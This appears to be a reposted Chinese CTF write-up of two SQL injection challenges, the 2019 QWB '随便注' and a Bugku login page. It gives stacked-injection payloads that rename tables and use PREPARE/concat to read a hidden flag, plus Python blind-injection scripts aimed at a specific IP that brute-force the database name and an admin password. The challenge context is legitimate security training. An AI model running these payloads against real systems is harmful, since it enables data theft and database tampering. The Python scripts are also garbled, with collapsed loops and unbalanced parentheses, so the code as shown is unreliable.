当前位置: 首页 > news >正文

2019强网杯随便注bugktu sql注入

一.2019强网杯随便注入

在这里插入图片描述
过滤了一些函数,联合查询,报错,布尔,时间等都不能用了,尝试堆叠注入
1.通过判断是单引号闭合

?inject=1'-- +

2.尝试堆叠查询数据库

?inject=1';show databases;-- +

在这里插入图片描述
3.查询数据表

?inject=1';show tables;-- +

在这里插入图片描述
4.查询这两张表的字段
words表 两个字段id,data

?inject=1';show columns from `words`;-- +

mysql中点引号( ’ )和反勾号( ` )的区别

linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;
反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;

在这里插入图片描述
1919810931114514表,一个字段flag

?inject=1';show columns from `1919810931114514`;-- +

在这里插入图片描述
要向查flag需要select,而select被过滤了,这里有两种方法绕过
5.查询flag
①这里共有两种表,查询的肯定是words,查询语句,大概是这样select id,data from words where id=,可以通过修改表名和列名,来达到查询flag的目的
把word表名改为word2,把1919810931114514表名改为word,给1919810931114514新增列id,把列名flag修改为data

?inject=1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- +

1’ or 1=1-- + 会输出所有数据 或者12

②使用预处理和concat函数拼接select

?inject=1';use supersqli;set @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1-- +

二.bugktu sql注入

在这里插入图片描述
通过这里可以得出一个用户名为admin
输入password=aa&username=admin’-- +时发现非法字符,有过滤,使用burp自带的进行fuzz测试
在这里插入图片描述
burp抓包发送到intruder模块,设置一个变量
在这里插入图片描述
在github找一个sql注入的fuzz字典进行测试
在这里插入图片描述
通过测试,发现and,like,-- +,order by,union select,information,where,逗号,=,空格等被过滤了
通过测试闭合符号为单引号闭合(admin’#),当输入的闭合正确时显示password error,错误时显示username do not exist或illegal character,先判断用户名是否存在,存在后在判断密码是否正确
判断当前数据库长度,注意这里要输入一个错误的用户名,因为or的短路性
空格用括号绕过,等号可以用大于号绕过

username=a'or(length(database())>7)#&password=a

数据库名爆破

import requests
url = 'http://114.67.175.224:10302/index.php'
db_name = ''
for i in range(1,50):for j in range(1,128):data = {'username':"admin'^(ascii(substr(database())from({})))>{})".format(i,j),'password':'1','submit':'Log In'}r = requests.post(url,data=data)if 'password error!' in r.text:db_name = db_name + chr(j)print(db_name)break
print(db_name)

表名和字段名只能靠猜了
密码爆破

import requests
url = 'http://114.67.175.224:10302/index.php'
password = ''
for i in range(1,50):for j in range(1,128):data = {'username':"admin'^(ascii(substr((select(password)from(admin))from({})))>{})#".format(i,j),'password':'1','submit':'Log In'}r = requests.post(url,data=data)if 'password error!' in r.text:password = password + chr(j)print(password)break
print(password)

跑出来时一段MD5值,在线网站查一下即可,登陆后拿到flag
select ascii(substr(database()from(1)))
在这里插入图片描述
异或运算,不同时为1
在这里插入图片描述

参考文章:
随便注
bugktu sql盲注

http://www.lryc.cn/news/183100.html

相关文章:

  • Html+Css+Js计算时间差,返回相差的天/时/分/秒(从未来的一个日期时间到当前日期时间的差)。
  • mybatis项目启动报错:reader entry: ���� = v
  • 【GIT版本控制】--什么是版本控制
  • ChatGPT付费创作系统V2.3.4独立版 +WEB端+ H5端 + 小程序最新前端
  • GEE16: 区域日均降水量计算
  • 打开MySQL数据库
  • 玩转ChatGPT:DALL·E 3生成图像
  • 小程序入门笔记(一) 黑马程序员前端微信小程序开发教程
  • 【进程管理】初识进程
  • ArcGIS Maps SDK for JS:监听按钮点击事件控制图层的visible属性
  • 微信小程序-1
  • 不容易解的题10.5
  • 后端面经学习自测(二)
  • 使用Jest测试Cesium源码
  • buuctf-[GXYCTF2019]禁止套娃 git泄露,无参数rce
  • 【逐步剖C】-第十一章-动态内存管理
  • 【树】树的直径和重心
  • 《Attention Is All You Need》论文笔记
  • C++笔记之不同buffer数量下的生产者-消费者机制
  • 编码文字使用整数xyz 三个坐标 并使用
  • 创建vue3工程
  • Flutter笔记 - 用于描述Align的Alignment、AlignmentDirectional、AlignmentTween类
  • 门面模式简介
  • 2023年7月工作经历二
  • 7.wifi开发【智能家居:终】,实践总结:智能开关,智能采集温湿,智能灯。项目运行步骤与运行细节,技术归纳与提炼,项目扩展
  • 学习开发一个RISC-V上的操作系统(汪辰老师) — unrecognized opcode `csrr t0,mhartid‘报错问题
  • 【计算机网络】 心跳机制
  • 文心一言 VS 讯飞星火 VS chatgpt (106)-- 算法导论10.1 4题
  • 进程调度算法之时间片轮转调度(RR),优先级调度以及多级反馈队列调度
  • ARMv8如何读取cache line中MESI 状态以及Tag信息(tag RAM dirty RAM)并以Cortex-A55示例